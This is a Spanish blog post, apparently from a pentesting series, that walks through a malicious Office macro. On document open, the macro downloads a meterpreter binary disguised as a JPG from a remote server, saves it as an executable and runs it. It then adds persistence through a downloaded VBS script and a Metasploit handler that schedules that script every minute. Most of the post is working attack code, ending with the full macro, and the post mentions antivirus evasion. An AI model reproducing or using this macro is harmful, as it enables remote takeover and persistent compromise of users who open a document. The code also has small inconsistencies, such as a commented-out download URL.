Una vez el usuario final acepte la macro, podremos infectar al equipo de forma controlada y de múltiples formas.A lo largo de varias entradas iremos hablando de estas distintas formas:
La primero que vamos a utilizar es hacer nuestro propio código en VBA (Visual Basic Application) para descargar y ejecutar los binarios que hemos generado en Manipulación de binarios para evasión de antivirus .
Recordemos que tenemos un binario para sistemas sin ASLR y otro para sistemas con ASLR, por lo que tendremos que detectar que sistema operativo tenemos cuando se este ejecutando la macro y en función de ello descargue un binario u otro.
Además de todo ello, también podríamos querer tener persistencia en nuestra sesión de meterpreter.Tenemos los scripts persistence y met_svc de meterpreter, con estos, se manipulan datos del registro entre otras cosas y algunos antivirus lo detectan, por lo que no nos sirve, podríamos cambiar su funcionamiento, pero quizá sea mas practico buscarnos otra forma.Para ello, vamos a crear una tarea programa en el sistema operativo, para que compruebe cada minuto si nuestro .exe esta en ejecución , si no lo esta, lo ejecutara y nos devolverá shell.Así tanto si muere nuestra sesión, como si reinician el equipo, volveremos a tener sesión siempre que tengamos el multi handler de metasploit escuchando.
Vamos a ver como hacemos todo esto en las macros:
Lo primero que hacemos es utilizar la función AutoOpen() para que se ejecute nada mas abrir el documento ( y aceptar la ejecución de macros).Vemos que aquí lo que hacemos es llamar a la función OSVersion que hemos creado, veremos justo después que realiza.
Sub AutoOpen() OSVersion End SubLo que hace la función OSVersion() es comprobar que sistema operativo se esta ejecutando la macro.Si es winxp llamaremos a una función y si es Win7 llamaremos a otra ,esta parte la podemos modificar para win2k3 , winvista etc.. , en este caso solo nos interesa winxp y win7
Vamos a seguir el código como se iría ejecutando en el caso de ser un Win7
Public Function OSVersion()
Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
For Each Sys In SystemSet
Version = Sys.Caption
Next
If InStr(Version, "XP") = 0 Then
Download_7 'es distinto a winxp'
Else
Download_xp 'es WinXP'
End If
Veamos ahora las funciones Download_7 y Download_xp, estas funciones usan el winhttp para descargar mediante http un recurso.Este recurso sera un jpg que tenemos en nuestro servidor web, este jpg, sera descargado y renombrado a .exe en el sistema, en concreto en c:\ . Una vez descargado, sera ejecutado llamando a la función que hemos creado RunFile y después de ejecutarlo, se llamara a la función Download_7_persist que es la función que hará las acciones pertinentes para proporcionarnos persistencia en nuestra sesión.
Private Sub Download_7()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim MyFile2 As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/met_7.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\met_7.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met_7.exe")
Download_7_persist
End Sub
La función RunFile, simplemente ejecutara desde un cmd el binario que le pasamos como parametro:
Function RunFile(strFile As String) Shell "cmd /C """ & strFile & """" Error_Handler_Exit: On Error Resume Next Exit Function Error_Handler: Resume Error_Handler_Exit End Function
La función Download_7_persiste utiliza también winhttp para descargase un script en VBS (Visual Basic Script) y ejecutarlo, cuando lo ejecute, lo que hará es comprobar si en los procesos del sistema esta nuestro binario met_7.exe , si no, lo arrancara (en c:\met_7.exe) , mas abajo veremos el código de este VBS.
Private Sub Download_7_persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/7/persist.vbs"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub
Aquí tenemos el código del met_7.vbs:
Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
For Each objProcess in colProcessList
if objProcess.name = "met_7.exe" then
vFound = True
End if
Next
If vFound = True then
wscript.sleep 5000
Else
WshShell.Run ("C:\met_7.exe")
wscript.sleep 5000
End If
vFound = False
Para que todo esto funcione, debemos levantar el multi/handler de la siguiente manera:
./msfconsole
use exploit/multi/handler
set lport 443 # levantamos el multi handler en el puerto 443 que es el que utilizan nuestros binarios
set AutoRunScript scheduleme -m 1 -c C:\\\\persist.vbs # en cuanto obtengamos sesión, se creara la tarea programada a ejecutarse cada minuto, lo que ejecuta es nuestro script persist.vbs
set ExitOnSession false
exploit -j -z
Con todo esto empezaremos a obtener sesiones de los usuarios que hayan aceptado nuestras macros, y tendremos persistencia en caso de perder sesión.Evidentemente, esto en entornos corporativos en los que los usuarios solo pueden salir a internet a través de proxy no funciona ya que ni la descarga de los ficheros por macros ni la ejecución de meterpreter reverso funcionará, por lo que más adelante veremos una forma mucho mas sofisticada e interesante para realizarlo.
Así queda el código de la macro completo:
Sub AutoOpen()
OSVersion
End Sub
Public Function OSVersion()
Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
For Each Sys In SystemSet
Version = Sys.Caption
Next
If InStr(Version, "XP") = 0 Then
Download_7 'no es winxp'
Else
Download_xp 'es WinXP'
End If
End Function
Private Sub Download_xp()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.1/met_xp.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\met_xp.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met_xp.exe")
Download_xp_persist
End Sub
Private Sub Download_xp_persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
'MyFile = "http://192.168.1.1/xp/persist.vbs"'
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub
Private Sub Download_7()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim MyFile2 As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/met_7.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\met_7.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met_7.exe")
Download_7_persist
End Sub
Private Sub Download_7_persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/7/persist.vbs"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub
Function RunFile(strFile As String)
Shell "cmd /C """ & strFile & """"
Error_Handler_Exit:
On Error Resume Next
Exit Function
Error_Handler:
Resume Error_Handler_Exit
End Function

No hay comentarios:
Publicar un comentario